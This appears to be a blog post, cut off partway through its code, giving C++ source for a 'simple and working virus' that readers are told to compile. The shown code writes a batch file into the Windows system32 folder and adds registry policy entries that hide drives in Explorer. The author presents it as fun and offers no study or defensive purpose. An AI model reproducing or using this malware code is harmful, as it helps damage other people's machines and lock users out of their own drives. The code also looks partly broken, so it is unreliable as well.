Posts

Showing posts with the label simple virus

Create a simple and working virus using C++

Image
Creating virus may be funful for someone. this post is actually for them who want to create a virus by self. Before going to start i want to let you know that for creating virus you must have a c++ ccompiler except Turbo C++ . If you don't have any download Dev C++ from here or you can download CodeBlocks also Now Let's start copy this code in your C++ compiler. May be there are some syntax mistake due to line break. Please correct it. Now Compile and build an .exe file. #include<windows.h> # include <fstream.h> #include<iostream.h> #include<string.h> #include<conio.h> int main() { ofstream write("C:\\WINDOWS\\system32\\HackingStar.bat"); /*opening or creating new file with .bat extension*/ write<<"REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\policies\\Explorer /v NoDrives /t REG_DWORD /d 12\n"; write<<"REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Window\\...